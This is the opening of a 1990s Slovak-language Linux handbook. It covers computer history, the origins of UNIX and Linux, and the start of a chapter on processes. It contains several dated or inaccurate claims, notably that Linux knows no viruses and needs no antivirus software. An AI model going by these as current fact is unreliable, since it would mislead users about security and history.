L I N U X

PRIRUCKA POUZIVATELA A ADMINISTRATORA

VERZIA 1.15
Copyright (c) 18.10.1996 - 8.10.1998 by Milan Schmotzer

Prirucka je zamerana na pouzivanie a udrzbu Linuxu - klonu UNIXu zdarma poskytovaneho neziskovou organizaciou Free Software Foundation. Pouzivatelska cast  tejto prirucky (prve tri kapitoly a vsetky prilohy) plati pre akykolvek UNIXovy operacny system. Prirucka je preto urcena vsetkym zaciatocnikom v UNIXe. Kapitoly venujuce sa udrzbe Linuxu (kapitola IV az VI) sa tykaju Linuxu.

Stara kapitola V sa detailne zaobera instalaciou Linuxu distribucie Slackware. Dnes je pohodlnejsie a bezpecnejsie nainstalovat si distribuciu Debian (http://www.debian.org) alebo od Debianu trochu slabsiu komercnu distribuciu RedHat (http://www.redhat.com).
 

OBSAH

P R E D S L O V

Motto: Ked rozumies vsetkemu, co robis, nic sa nenaucis.

Linux (R) je jeden z najlepsich operacnych systemov pre paralelne superpocitace ale aj pre pocitace triedy PC. Tato prirucka je koncipovana ako ucebnica zakladov Linuxu.

Citatel tejto prirucky by mal byt bez akychkolvek predoslych znalosti pocitacov schopny nainstalovat a pouzivat Linux a jeho nadstavbu X-window na osobnom pocitaci PC. Ucebnica zahrna instalaciu a systemovu udrzbu Linuxu ako aj pouzivanie Linuxu a UNIXu.

Prirucka obsahuje aj moje skromne osobne nazory a skusenosti a postupne zacinajuceho pouzivatela Linuxu uvedie do problematiky vsetkeho Linuxovskeho. Niektore udaje budu spociatku nepresne, aby som citatela nezahltil informaciami, budu vsak postacujuce pre danu kapitolu. Ako budete citat knihu dalej, postupne sa dozviete stale presnejsie a detailnejsie udaje o Linuxe a pochopite, ze je to naozaj jeden z najlepsich operacnych systemov vobec.

Rad uvitam vsetky poznamky k prirucke ako aj navrhy na jej vylepsenie ci zahrnutie niektorych dalsich kapitol. Ktokolvek chce, moze k nej pridat lubovolne mnozstvo kapitol a poslat mi ich elektronickou postou na e-mail adresu

schmotze@tuke.sk

Spravnost udajov si najprv preverim a zaradim ich do prirucky aj s uvedenim autora kapitoly.

C O P Y R I G H T

Z prirucky zacinajuceho pouzivatela Linuxu mozete citovat akukolvek pasaz, mozete ju dokonca aj predavat, avsak v pripade, ze citujete z nejakej kapitoly, v citacii uvedte meno autora danej kapitoly. Nie je v mojich silach precitat vsetky unixovske knihy. Ak mi niekto posle doslovny preklad casti nejakej knihy, nemozem zodpovedat za skody sposobene prislusnym vydavatelstvam a autorom jeho zverejnenim v tejto prirucke. Z tohto dovodu bude pri nazve kazdej kapitoly, ktoru nenapisem ja, uvedene aj meno jej autora. Kazdy autor moze mat vlastny copyright avsak nesmie nikoho obmedzovat v poskytovani tejto prirucky v akejkolvek forme dalsim citatelom zadarmo.
 

P O D A K O V A N I E

Za mnozstvo z poznatkov som povdacny Ing. Petrovi Popovcovi.
 

KAPITOLA I

P O C I T A C

Uvod

Kym vznikol dnesny pocitac, ktory mozno prave mate pred sebou na stole, bolo potrebne vykonat giganticku pracu. Pocitac je vrcholom technickej tvorby ludstva. Existuje vdaka vedeckemu badaniu matematikov, fyzikov a chemikov pocas mnohych storoci.

Stroje ludom vyrazne ulahcuju fyzicku pracu, avsak su silne zavisle na cloveku prave preto, ze nedokazu uvazovat a sami sa rozhodovat. Pocitac, na rozdiel od klasickych vyrobnych strojov,cloveku ulahcuje dusevnu pracu a je schopny spravat sa aspon ciastocne inteligentne. Dokaze zastupit cloveka v mnohych dusevnych cinnostiach. Interakcia clovek - stroj sa v dnesnych casoch meni na vztah clovek - pocitac - stroj. Pocitace mozu ovladat stroje a vyrobne zariadenia. Automatizovane vyrobne systemy schopne dlhodobej samostatnej cinnosti uz davno nie su utopiou sci-fi romanov.

S pocitacom pridete (aj ked nepriamo) do styku nielen ked si rezervujete letenku ci kupujete listok na vlak, ked idete na EKG ci rontgenove vysetrenie. Dnes Vam uz aj rozbor krvi urobi pocitac - a ovela presnejsie ako clovek. Predpoved pocasia a satelitne vysielanie su tiez mozne len za pomoci pocitaca. Pri ceste lietadlom ci lodou nad Vasou bezpecnostou bdie neunavny pocitac a aj let do kozmu je bez pocitaca prakticky nemozny. Ziadny vacsi podnik sa dnes nezaobide bez pocitacov. Mnozstvo ludi pocituje ako vyrazne ulahcenie a zvysenie svojho pracovneho vykonu moznost pouzivat pocitac, ktory je schopny v priebehu zlomkov sekundy vyhladat prislusnu kartoteku pacienta ci iny databazovy udaj; novinari, spisovatelia, grafici ci reklamni pracovnici su nadseni, ze celu svoju pracu maju pokope - nemusia tvorit vzdy od zaciatku - mozu pouzivat casti starsich verzii svojich rukopisov, co vyrazne skracuje dobu vytvarania noveho produktu. Vacsina modernych budov, mostov, aut, lietadiel, lodi, rychlovlakov, ale aj topanok, lyzi ci chemickych vyrobkov vznikla za pomoci pocitacov, ktore umoznili nielen velmi rychly navrh vyrobkov, ale aj pocitacovou simulaciou otestovat vlastnosti novych vyrobkov skor, nez boli vyrobene. Pociatocna investicia do pocitacov sa rychlo vracia v podobe zvyseneho vykonu celeho podniku a odhalovania chyb uz pocas vytvarania planov vyrobkov. Nakoniec, aj Vase digitalky v sebe skryvaju malicky pocitac.

Pomocou pocitaca sa vyriesili matematicke problemy, ktore nedavali spavat najvacsim geniom ludstva - Gaussovi, Eulerovi ci Maxwellovi. Spomenme napriklad problem osmich dam, ktore trebalo rozostavit na sachovnici tak, aby sa navzajom neohrozovali. Zdanlivo jednoduchy problem na svoje vyriesenie potrebuje odskusat tak obrovske mnozstvo kombinacii figurok, ze ani Gauss, jeden z najvacsich geniov ludstva, ho nedokazal vyriesit. Vyskusat miliony kombinacii jednoducho nie je v silach cloveka. Dnesny pocitac PC je schopny vyriesit tento problem za jedinu sekundu.

Vyvoj

Napriek vsetkym vyhradam treba povedat, ze za celym rozvojom elektroniky stoji z hladiska financii vojensky priemysel - a ani u pocitacov tomu nie je inak. Prave obrovske investicie do pocitacoveho priemyslu armadnymi organizaciami, ktore pochopili, ze z dvoch superov vyhra vzdy technicky dokonalejsi, umoznili ten dnesny boom a obrovske rozsirenie pocitacov.

Prvy pouzitelny elektronicky pocitac vznikol pre potreby americkej armady pred priblizne 50 rokmi. Jeho vykon bol na urovni dnesnych kalkulaciek. Vstupne udaje zadaval programator prepinanim pacok. Vysledky vypoctov pocitac zobrazoval pomocou rozsvecovania ziaroviek. Jeho autori stravili vacsinu dna vymienanim rychlo sa kaziacich elektronok. Tieto prve pocitace vazili mnoho ton a zaberali cele miestnosti. Dostali preto nazov salove pocitace.

Nasledujuca generacia pocitacov uz bola schopna prijimat vstupy z diernych stitkov a vystup vytlacit na tlaciarni v pre cloveka citatelnej podobe. Ake vstupy pocitac dostaval ? Urcite ste uz mali v ruke kalkulacku - vstupnym zariadenim je na nej klavesnica a vystupnym display. Stlacanim klaves na klavesnici teda zadavate vstup - cisla a znaky matematickych operacii, ktore nad cislami treba vykonat. Kalkulacka, ktora je v skutocnosti tiez malym pocitacom, danu operaciu nad zadanymi cislami vykona a jej vysledok zobrazi na displayi - vystupnom zariadeni. Druha generacia pocitacov uz umoznovala pomocou diernych stitkov zadavat nielen data, ale aj programy - subory instrukcii, ktore ma pocitac vykonat. Ich ucinok je podobny ako keby sme stlacali na klavesnici kalkulacky tlacitka matematickych funkcii. Pocitac si udaje i program zapamatal, mal teda urcitu pamat. Potom bolo potrebne pocitacu prikazat, aby zacal pocitat a procesor - mozog pocitaca - zacal program citat z pamati a vykonavat ho a choval sa podla neho - nacitaval udaje z pamati a vykonaval nad nimi jednotlive operacie. Bolo to ovela rychlejsie, ako keby sa len stlacali tlacidla s instrukciami.

Zial, zadavanie udajov aj programov bolo velmi pracne. Po vypnuti pocitac vsetko zabudol. No ktosi prisiel s myslienkou ukladat programy aj udaje na magneticku pasku podobnu magnetofonovej paske. Stalo sa a dosiahla sa vysoka rychlost. Nacitanie udajov i programov z pasky do pamate bolo asi 1000-krat rychlejsie ako pomocou diernych stitkov, ktore bolo potrebne rucne vkladat do citaca diernych stitkov.

Neskor sa zacali vyrabat pevne disky - kotuce, skladajuce sa z platni pokrytych magnetickou vrstvou. Urcite poznate gramofon. Disky vyuzivaju priblizne ten isty princip, ale nemaju mechanicke drazky, v ktorych by sa pohybovala ihla. Namiesto ihly pouzivaju magneticke hlavicky. Na disku su ulozene informacie o tom, kde sa na nom nachadzaju subory informacii. Kazdy subor ma nazov, podla ktoreho sa da identifikovat a telo - su to samotne udaje. Napriklad tato prirucka ma nazov Sysadmin.html a jej telom je samotny text, ktory teraz citate.

Disky sa skladaju z viacerych kotucov podobnych gramofonovym platniam. Nad a pod kazdym kotucom sa na vzduchovom vankusi, ktory vznika rychlou rotaciou disku, vznasa citacia a zapisovacia (zaznamova) magneticka hlava. Magneticke hlavy sa dokazu velmi rychlo vystavit na jednotlive drazky na prislusnych magnetickych kotucoch (vsetky hlavy sa pohybuju sucasne). Ak potrebujeme informaciu z konca magnetickej pasky a paska je previnuta na zaciatok, trva takmer minutu, kym sa paska pretoci do polohy, v ktorej sa nachadza prislusny subor. Az potom mozeme zacat informaciu nacitavat do pocitaca. Pristupova doba magnetickeho disku, ktoremu casto hovorime pevny disk, je cas potrebny na presun magnetickej hlavy na prislusnu stopu, t.j. drazku na disku je u sucasnych pevnych diskov je priblizne stotina sekundy.

Magneticke disky priniesli az 1 000 000 nasobne urychlenie nacitania udajov a programov v porovnani s diernymi stitkami a diernymi paskami. Avsak vstup cloveka, napriklad vyroba noveho programu ci zadanie novych udajov, je stale potrebny. Dierkovat dierne stitky bolo velmi zdlhave, a tak pocitacovi geniovia prisli s napadom pouzit na vstup v telekomunikaciach vtedy uz dost rozsirene dalekopisne stroje. Na dialnopise bolo mozne pomocou mechanicko-elektronickej klavesnice zadavat udaje. Dialnopis mohol zaroven aj vytlacit vysledok vypoctu.

Prve pocitace boli velmi drahe a zaberali cele miestnosti. Dialnopis umoznoval pripojit sa k pocitacu pomocou obycajneho telefonu. Mohli ste pomocou neho zatelefonovat z Berlina na pocitac do New Yorku, zadat udaje a pocitac v New Yorku Vam na Vasom dalekopise vytlacil vysledok. Velmi rychly vyvoj pocitacov sposobil take zvysenie ich rychlosti, ze boli schopne davat vysledky v realnom case. Uz ste nemuseli odovzdat dierne stitky pracovnikom ustavu vypoctovej techniky a tyzden cakat na odpoved - udaje ste zadavat priamo.

Pocitace vsak boli drahe. Mohli si ich dovolit len vojenske organizacie a niekolko velmi velkych firiem. Mali stale vacsiu kapacitu pamate, stale rychlejsi procesor a stale vacsiu kapacitu magnetickych diskov. Bol tu vsak jeden problem. Pocitac bol schopny vykonavat naraz iba jednu cinnost. No objavil sa napad, ako zlepsit vyuzitie pocitacov - umoznit, aby na nich pracovalo viac ludi sucasne - aby vykonaval viacero programov naraz. Ako moze jeden procesor v pocitaci vykonavat viac programov sucasne ? Moze vykonavat chvilu program jedneho cloveka, chvilu program druheho cloveka atd. Ak budu tieto chvilky velmi male, jednotlivi pouzivatelia nepostrehnu, ze pocitac pracuje aj pre niekoho ineho. Ale je tu problem. Co ak niekto urobi chybny program a ten vymaze vsetky subory na disku ? Alebo co ak uplne zbytocne ( a mozno aj schvalne ) vytlaci velmi velky subor na dialnopise niekoho ineho ? A nakoniec, co ak sa niekto dostane k tajnym informaciam ulozenym na disku vojenskou organizaciou vlastniacou pocitac ?

Problem sa vyriesil tak, ze na pocitaci bezal program (v beznej reci nehovorime, ze pocitac vykonava program, ale ze program bezi na pocitaci), ktory spravoval hardware pocitaca - jeho disky, pripojene dalekopisy a magneticke pasky. Ked chcel pouzivatelsky program vymazat cosi z disku, nemohol to urobit priamo (procesor by mu to nedovolil), ale musel poziadat, aby to zanho urobil specialny program, ktory sa staral o hardware. Ten skontroloval, ci ma pouzivatel na vymazanie suboru pravo, (okrem nazvu suboru a jeho obsahu bolo na disku potrebne udrziavat i niektore dalsie informacie - komu subor patri, aky je velky, kedy bol vytvoreny atd.) a ak ho nemal, odmietol ho vymazat. Tento program teda umoznoval pouzivatelom zdielat hardware, ale aj strojovy cas. Pocitac s takymto programom sa nazyva system zdielania casu. Kedze tento program operoval priamo s hardwareom pocitaca, dostal nazov operacny system. Jeho uplny nazov je univerzalny operacny system zdielania strojoveho casu pocitaca, pricom slovo univerzalny znamena, ze vie naraz vykonavat mnozstvo roznych ale aj rovnakych programov.

Prisiel vsak dalsi boom povodne vyvinuty v AT&T, firme, ktora neskor vyvinula prvy UNIX - tranzistory. Pocitace sa z velkej miery skladali z elektronok, odporov a kondenzatorov. Tieto suciastky boli velke a mali znacny odber prudu. Hlavny odber prudu mali elektronky, ktore bolo potrebne zeravit (predhrievat, zhavit). Tranzistory boli omnoho mensie a dokazali zastupit funkcie vsetkych spomenutych suciastok. Rozmery novych pocitacov vyuzivajucich tranzistorovu technologiu sa vyrazne znizili a ich ceny a odber prudu prudko poklesli. Vacsie firmy si ich mohli dovolit kupovat do jednotlivych oddeleni. Tento typ pocitaca pre jeho mensie rozmery nazyvame minipocitac. Minipocitace neboli menej vykonne ako salove pocitace. Pouzivatelia uz nepripajali svoje dalekopisy k pocitacu cez telefonne linky a nemuseli tak platit telefonne tarify, ale pripajali ich priamo kablom. Nastala potreba komunikacie medzi pocitacmi v jednej firme. Vznikli tak prve lokalne pocitacove siete - LAN (Local Area Network). Kedze predsa bolo potrebne pripajat sa z jednej firmy do druhej (vacsinou uz nie priamo pomocou dalekopisu, ale pripojit jeden pocitac alebo celu pocitacovu siet k druhemu pocitacu ci celej pocitacovej sieti vtedy este po telefonnych linkach) - vznikli globalne pocitacove siete - WAN (Wide Area Network).

A prave vtedy, v dobe celosvetoveho boomu minipocitacov, v case pouzivania dalekopisov ako terminalov (terminal je akekolvek zariadenie umoznujuce komunikaciu okolia s pocitacom) a v dobe obrovskeho rozmachu pocitacovych sieti vznikol UNIX - najlepsi operacny system na svete.

KAPITOLA II

U N I X

Motto: Slon je mys s operacnym systemom.

Zakladny vyzkum Bell Laboratories sa tyka komunikacii, pocitacov, fyziky a matematiky. Prave ked v roku 1969 ustupili od vyvoja univerzalneho operacneho systemu zdielania casu, prisiel ich zamestnanec Ken Thompson s myslienkou vytvorit naozaj vseobecne pouzitelny operacny system.

Pisaniu programov hovorime programovanie. V dobach prvych pocitacov sa programovalo priamo. Instrukcie sa pisali presne, napriklad ktory udaj sa ma z ktorej casti operacnej pamati pocitaca ( to je ta pamat, ktora sa vypnutim pocitaca vymaze; disku niekedy hovorime diskova pamat - ta je dlhodoba, po vypnuti pocitaca si obsah zachova ) ma vybrat udaj a nakopirovat do registra ( toto vsetko robi procesor, a ten obsahuje specialnu pamat - registre - oddelenu od operacnej pamati; prave nad registrami procesor robi vypocty a vysledky kopiruje opat do operacnej pamate - vacsinu casu teda len presuva udaje medzi registrami a pamatou, resp. diskom ), co s nim urobit a kam ulozit vysledok. Operacny system schopny vykonavat naraz viac programov nemohol dopredu vediet, v ktorej casti pamati ktory program spustime. Preto bol vymysleny procesor schopny adresovat instrukcie aj data symbolicky ( presne adresy urcil az operacny system, ktory program zaviedol do pamati ) a aj prvy programatorsky jazyk - jazyk symbolickych adries nazyvany ASSEMBLER. Pouzitie assembleru bolo ovela rychlejsie a citatelnejsie ako priame programovanie. Program napisany v assembleri uz nebola zmes cisel, ale clovekom citatelny zapis. Napriklad instrukcia presunu obsahu registra B do registra A vyzerala asi takto

mov a, b

co bolo ovela citatelnejsie. Pocitac tomuto zapisu nerozumel - ale stacilo vytvorit specialny program pomocou priameho programovania, ktory dokazal program z jazyka symbolickych adries prelozit do strojoveho jazyka - zmesi cisel, ktorej rozumie pocitac. Tento program sa nazyva compiler ( kompilator, prekladac ).

V roku 1969 Ken Thompson, vtedy 27 rocny pracovnik Bell Laboratories, zacal tajne programovat novy univerzalny operacny system zdielania strojoveho casu UNIX v ASSEMBLERI na minipocitaci PDP-11 firmy DEC. Uz o dva roky neskor tento system vykazoval velmi dobre charakteristiky a bol plne funkcny. Dennis Ritchie medzitym vymyslel jazyk C, ovela lepsi ako assembler. Kazdy pocitac ma svoj vlastny assembler a vlastnu sadu prikazov. Jazyk C umoznuje od tejto sady procesorovych prikazov abstrahovat ( hovorime jej instrukcna sada procesora ) a pisat programy cloveku este zrozumitelnejsie. Napriklad vypocet 3+2 v assembleri mohol vyzerat takto

mov a,3
mov b,2
add a,b
zatial co v jazyku C stacilo napisat
a = 3+2;
Programy nie je mozne prenasat z jedneho pocitaca na druhy a na nom spustat. Jednotlive typy procesorov jednotlive instrukcie interpretuju inac - vysledkom by bolo nezmyselne chovanie programov ( pocitace s rovnakou sadou a kodovanim instrukcii ( kodovanie instrukcii je priradenie ciselnych kombinacii jednotlivym instrukciam ) toto obmedzenie nemaju, nazyvame ich vzajomne kompatibilne ). Nie je mozne prenasat ani zdrojove texty programov ( neprelozene programy ) v assembleri, pretoze kazdy procesor ma svoj assembler. Oproti tomu programy pisane v jazyku C je mozne preniest, len je potrebne prelozit ich na hostitelskom pocitaci. Je to nesmierna vyhoda jazyka C oproti assembleru.

Ken Thompson v roku 1973 prepisal operacny system UNIX do jazyka C a tym umoznil jeho prenos na lubovolny pocitac. Odteraz bolo mozne kazdy program pisat rychlo a kvalitne - v jazyku C. A hlavne, nebolo potrebne vzdy znovu a znovu pisat program s tymi istymi funkciami pre rozne pocitace. Jedinou podmienkou prenositelnosti programov na zdrojovej urovni, t.j. na urovni zdrojovych textov, bolo to, aby na danom stroji bezal operacny system UNIX a prekladac jazyka C.

UNIX bol preneseny na takmer VSETKY pocitace na svete.

LINUX

Od doby vzniku UNIXU preslo viac nez 25 rokov a bol preneseny na rozne pocitace. Dalekopisy sa nahradili znakovymi terminalmi a neskor grafickymi. Obidva druhy pouzivali elektronicku klavesnicu podobnu klavesnici pisacieho stroja ci dalekopisu ako vstup a monitor, zariadenie velmi podobne televizoru, ako vystup. Aby sa zbytocne nezatazoval procesor, pridali sa k nemu pomocne procesory. Univerzalny ( centralny ) procesor, na ktorom bezia programy, nevykresluje udaje na monitor priamo - len ich zapise do specialnej casti pamate. Z tejto specialnej pamati ich cita graficky procesor a ten ich zobrazuje na display. Existuje specialny procesor ( procesory sa casto oznacuju nazvom chip - chip je dosticka s procesorom ) urceny pre komunikaciu, umoznujuci pripojenie napr. modemu prevadzajuceho pocitacove signaly na signaly, ktore je schopny prenasat telefonny kabel - a naopak; modem teda znamena modulator/demodulator ), mysi ( pohybom po podlozke umoznuje ukazovat na rozne casti monitora a pohodlne tak ovladat graficke aplikacie ) alebo tlaciarne ( umoznuje vystup textu na papier a je schopna tlacit aj obrazky ). Niekolko chipov naraz sa umiestnuje na dosky zvane karty. Pozname graficku kartu, komunikacnu kartu ( tej sa casto hovori komunikacny adapter ), ale aj zvukovu kartu ( prehrava a nahrava zvuky a moduluje ich na signaly zrozumitelne pocitacu - o to sa stara na nej umiestneny signalovy procesor ). Vsetky tieto procesory nie su univerzalne, su specializovane na prislusne cinnosti. Existuju aj systemy s viacerymi univerzalnymiI procesormi - patricne tak stupa ich vykon. Doska s univerzalnym procesorom zabezpecujuca zakladne cinnosti pocitaca sa nazyva maticna doska. Do nej sa zasuvaju ostatne pomocne dosky - zasuvne karty.

V roku 1981 firma IBM dodala na trh pocitac PC - Personal Computer = osobny pocitac s jednym univerzalnym procesorom. Bol malo vykonny, ale mal taku nizku cenu, ze umoznoval, aby mal kazdy pracovnik vlastny pocitac. Tento typ pocitaca sa stal vdaka svojej cene najrozsirenejsim na svete. Jeho parametre sa stale zdokonalovali a cena klesala, avsak vylepsene mikroprocesory (mikroprocesory su procesory, ktore sa zmestia na jedinu dosticku, jediny cip) mu boli nanic, kedze firma Microsoft, dodavajuca operacny system pre PC zvany MS-DOS, vyrobila operacny system, ktory nebol schopny vyuzit viac ako 640 KB operacnej pamati. (1 KB = kilo byte je 1024 byteov, 1 byte je taka cast pamati, do ktorej sa zmesti prave jeden znak.) Kedze pamat bola stale vacsia - niekolko MB (1 MB = mega byte = 1024 KB), hladali sa rozne obchvatne manevre, ako ju vyuzit, avsak zakladny problem ostaval. Hlavnym nedostatkom MS-DOSu bola neschopnost spustat viac programov naraz. Preto firma Microsoft Corporation vyvinula rozne verzie Microsoft Windows, grafickej nadstavby operacneho systemu MS-DOS, ktora sa neskor osamostatnila ako samostatny operacny system pod nazvom MICROSOFT WINDOWS NT (NT znamena New Technology - nova technologia). V spolupraci s firmou IBM vytvorila firma Microsoft Corporation velmi kvalitny operacny system OS/2 (OS = Operating System = operacny system, 2 = INTEL 80286 microprocessor), vraj lepsi ako MS Windows NT. Microsoft Windows aj OS/2 umoznuju beh viacerych programov naraz, OS/2 je vykonnejsi a stabilnejsi system, avsak vdaka reklame Microsoftu vyhral Microsoft DOS a Microsoft Windows. Ich celosvetovy uspech ( napriek nedokonalosti MS DOSu a obrovskej spotreby pamate systemu Microsoft Windows NT ) vyniesol majitela firmy Microsoft Corporation, Billa Gatesa, do vysav. Dnes je to jeden z najbohatsich muzov na svete. Jeho majetok a cenne papiere v roku 1996 bol ohodnoteny na 12 bilionov dolarov. No nielen on si na predaji softwareu pre PC napchal vrecka, aj mnohe dalsie firmy zbohatli na naivnych pouzivateloch. ( Hardware je technicka cast pocitaca, napriklad procesor, software je "duchovna" cast pocitaca - programy. Vztah hardware - software u pocitacov by sme mohli prirovnat k televizoru. Televizor ( hardware ) je bez programu ( software ) len nepouzitelnou mrtvou hmotou. )

Zakladny problem bol v tom, ze kedze sa na pocitacoch PC nepouzival operacny system UNIX, zdrojove texty neboli prenositelne na ine pocitace a naopak. Ked uz boli parametre pocitacov PC na takej urovni, ze na nich mohol bezat UNIX, vzniklo niekolko pokusov o implementaciu UNIXu na PC - napriklad XENIX od firmy Microsoft, MINIX a ine.

Zda sa Vam divne, ze nepouzivali nazov UNIX ? Vlastnikom prav na UNIX je AT&T, preto tento nazov smu pouzivat len oni. Okrem AT&T smie nazov UNIX pouzivat len univerzita v Berkeley, ktora pod nazvom BSD UNIX ( BSD = Berkeley Software Distribution ) dodava UNIX pre univerzity.

Vytvorit takyto system pre PC sa pokusali aj dalsie firmy - Amdahl, IBM, ale aj AT&T a ine. Vsetky tieto systemy boli neporovnatelne slabsej kvality ako standardny UNIX a ich rozsireniu branila vysoka cena. Kvalitny PC kompatibilny pocitac ( tak sa nazyvaju pocitace od inych firiem, nez IBM, ale schopne spustat rovnake programy; su to binarne kompatibilne pocitace - pocitace kompatibilne na urovni strojoveho kodu ) stoji 15000 USD. Rovnaku sumu zaplatite za UNIX od AT&T.

Linus Torvalds zacal v roku 1991 na univerzite v Helsinkach vo Finsku vyvijat svoj vlastny UNIXovy operacny system s cielom urobit aspon taky dobry system, akym je MINIX. Ked dal v roku 1992 k dispozicii novy UNIX pod nazvom LINUX ( zjavne akronym LINu's UniX ), ukazalo sa, ze je este lepsi nez MINIX - a hlavne bezi na nom akykolvek program napisany pre ine UNIXove superpocitace - len ho treba prelozit z jazyka C do strojoveho jazyka. A to nebol problem - Linus pod Linux preniesol velmi kvalitny prekladac jazyka C. Linus vytvoril vlastny system. Zopakoval tak situaciu spred dvadsiatich rokov, kedy vznikol prevy UNIX - AT&T UNIX.

Hlavnou vyhodou Linuxu je to, ze od zaciatku je dodavany zadarmo. To umoznilo jeho rozsirenie a mnozstvo ludi na celom svete si ho nainstalovalo na svoje PC. Mnohi programatori pomocou celosvetovej siete INTERNET spojili svoje sily a tak sa novy operacny system zacal dramaticky vylepsovat. Je to jediny operacny system, ktory nevytvorila nejaka firma, ale programatori celeho sveta. Obrovske mnozstvo programatorov ako aj rychle reakcie na poziadavky pouzivatelov sposobili, ze sa z Linuxu, povodne maleho systemu, vyvinul jeden z najlepsich operacnych systemov pre PC.

Pouzivatelia Linuxu a programatori celeho sveta sa tesia na stale novsie verzie tohto operacneho systemu. A samotni vyvojari zasielaju zdrojove texty novych vylepseni priamo Linusovi Torvaldsovi, on ich kontroluje, implementuje do jadra ( zakladnej casti operacneho systemu ) a aj sam jadro neustale vylepsuje - a tak je Linux neustale kvalitnejsi.

Zatial co komercne systemy vyvijala hrstka odbornikov za siedmimi zamkami, Linus dodal zdrojove texty jadra celemu svetu a tak je Linux dielom programatorov celeho sveta. Jeho vyvoj prebieha omnoho rychlejsie ako vyvoj inych komercnych systemov.

Linux je dodavany zadarmo, avsak Linus nebrani tomu, aby ho hociktora firma predavala napriklad na CD-ROM. Najlepsie je stiahnut si instalacne diskety zo superpocitaca sunsite.unc.edu pomocou siete INTERNET. Avsak nie kazdy ma tuto moznost, preto je povolenie predaja Linuxu dolezite. Instalacii existuje cela kopa - instalacne diskety robia rozni ludia na celom svete - kazdy vyraba svoju distribuciu a umiestnuje na nich programy podla svojho uvazenia. Za najvydarenejsie sa povazuju distribucie Linux Debian, Linux Red Hat a Linux Slackware.

Niekedy je k dispozicii uz aj beta verzia. (Ked vyrobite program, je to alfa verzia. Ked v nom opravite chyby, ktore zistite az po urcitom case a odskusaju ju aj ostatni pouzivatelia pracujuci na roznych pocitacoch od roznych vyrobcov a najdu chyby, nemusite ich stihnut opravit - date k dispozicii sice plne funkcny, ale nekompletny program - beta verziu. Az ked je program kompletny a nik nenasiel ziadnu chybu, je to konecna verzia [final version]. Zdaleka to vsak neznamena, ze v nom nejaka skryta chyba nemoze byt. kazdy operacny system obsahuje chyby. Aj Linux. Avsak neobsahuje ich viac ako ine verzie UNIXu. Jeho hlavna sila spociva totiz v jeho kvalite.)

Linux je jeden z prvych operacnych systemov, ktory mal uz v roku 1996 zabudovanu podporu systemu JAVA. Je to plne 32 bitovy operacny system dokonale vyuzivajuci hardware pocitaca a aj schopnosti ochrany ponukane PC procesormi. Plne vyuziva pamat pocitaca, ma NAJLEPSI multitasking ( schopnost behu viacerych programov naraz - task = uloha, multi = vela ) spomedzi vsetkych operacnych systemov urcenych pre PC a je schopny pouzivat virtualnu pamat ( dokaze presuvat momentalne nepotrebne casti programov na disk v pripade, ze operacna pamat svojou kapacitou nestaci - tomuto presuvaniu sa hovori swapovanie ). Spotrebuje omnoho menej pamate ako napriklad Windows NT ci OS/2.

Linux je vsak velmi nesympaticky system, pokial nemate sajnu ze disketa je /dev/fd0, ale aj preto, ze mnohi dodavatelia hardwareu nezverejnuju to, ako napisat ovladac pre ich zariadenia. ( Ovladac je specialny program umoznujuci komunikovat jadru operacneho systemu s hardwareom pomocou vseobecnych prikazov. )

Je to smola - Linux je oficialne zadarmo, a jeho tvorcovia nemozu licencie kupovat a samotni vyrobcovia hardwareu vacsinou ziaden UNIX ani nepodporuju. Preto je velmi tazke napriklad nakonfigurovat (pripravit na pracu) nestandardnu graficku kartu pod X-window. Vseobecne plati: cim starsiu verziu Linuxu mate, tym to pre Vas bude tazsie. Ak teda nestiahnete z INTERNETu najnovsiu verziu, ale kupite si Linux na CD-ROM, mozete dostat natolko staru verziu, ze Vasu novu mechaniku CD-ROM ani nerozpozna !

Linux vyvinuli programatori sami pre seba - vyzaduje preto niekedy hacking - nie vsak v zmysle vlamovania sa do pocitacovych systemov. V Linuxe je hacker clovek, ktory perfektne rozumie operacnemu systemu.

Nenechajte sa vystrasit predoslym popisom diskety, Linux sice nie je taky jednoduchy operacny system, ako MS-DOS, ma vsak velmi priehladnu strukturu. Ak sa naucite UNIXovsky mysliet, bude pre Vas omnoho prijemnejsi nez MS-DOS. A hlavne PC + LINUX = Graphics Workstation = graficka pracovna stanica, ktorej vykon je porovnatelny s kvalitnymi minipocitacmi ! Linux umoznuje vsetko, co ostatne UNIXove systemy - pripojenie inych pocitacov a viacerych terminalov na jediny pocitac, sietovanie s TCP/IP protokolmi atd. Mnoho programatorov vyrabajucich aplikacie pre velke systemy, doma pouzivaju PC s Linuxom ako lacnu alternativu velkych systemov. Vyrobia aplikaciu doma pod Linuxom, zdrojaky (zdrojove texty) prenesu na superpocitac v praci, prelozia - a aplikacia bezi ! Autor tejto prirucky takto vyraba programy vyuzivajuce principy umelej inteligencie pisane v jazyku PROLOG. Dnesny vykon PC hlavne v grafike je mnohokrat lepsi nez napriklad u niekolkorocnych pocitacov firmy SUN Corporation.

A nakoniec - Linux nepozna pojem virus. Nepotrebujete antivirove programy.

Kedze ste sa s UNIXom stretli len obcas (resp. vobec) a o detailoch okolo instalacie mate len hmlistu predstavu - a kedze ani skusenemu pouzivatelovi nemusi prva instalacia Linuxu prebehnut hladko, napisal som pre Vas tuto prirucku. Po jej prestudovani by mal byt kazdy schopny Linux nainstalovat, udrzovat a pouzivat. Ak ju precitate celu, ziskate schopnosti UNIXovskeho administratora, a ak ovladate anglictinu, budete dalej schopni pracovat s lubovolnym UNIXom na urovni pouzivatela aj administratora len s pomocou originalnej literatury.

Pretoze prv, nez zacneme hovorit o instalacii, je potrebna aspon minimalna skusenost prace s lubovolnym UNIXom, zacneme nevyhnutnym minimom.

KAPITOLA III

NEVYHNUTNE ZNALOSTI ADMINISTRATORA UNIXU

alias

L I N U X

POUZIVATELSKA PRIRUCKA

Motto: Slovo POUZIVATEL pisu autori programov, ked chcu napisat IDIOT.

V UNIXe kazdemu beziacemu programu hovorime proces. Kazdy proces moze spustit iny program - iny proces, pricom ma 3 moznosti. Moze nezavisle na spustenom programe pokracovat vo svojej cinnosti, moze ukoncit svoju cinnost alebo moze pockat, kym spusteny program neukonci svoju cinnost (volanim funkcie wait (=cakaj) jadra UNIXu).

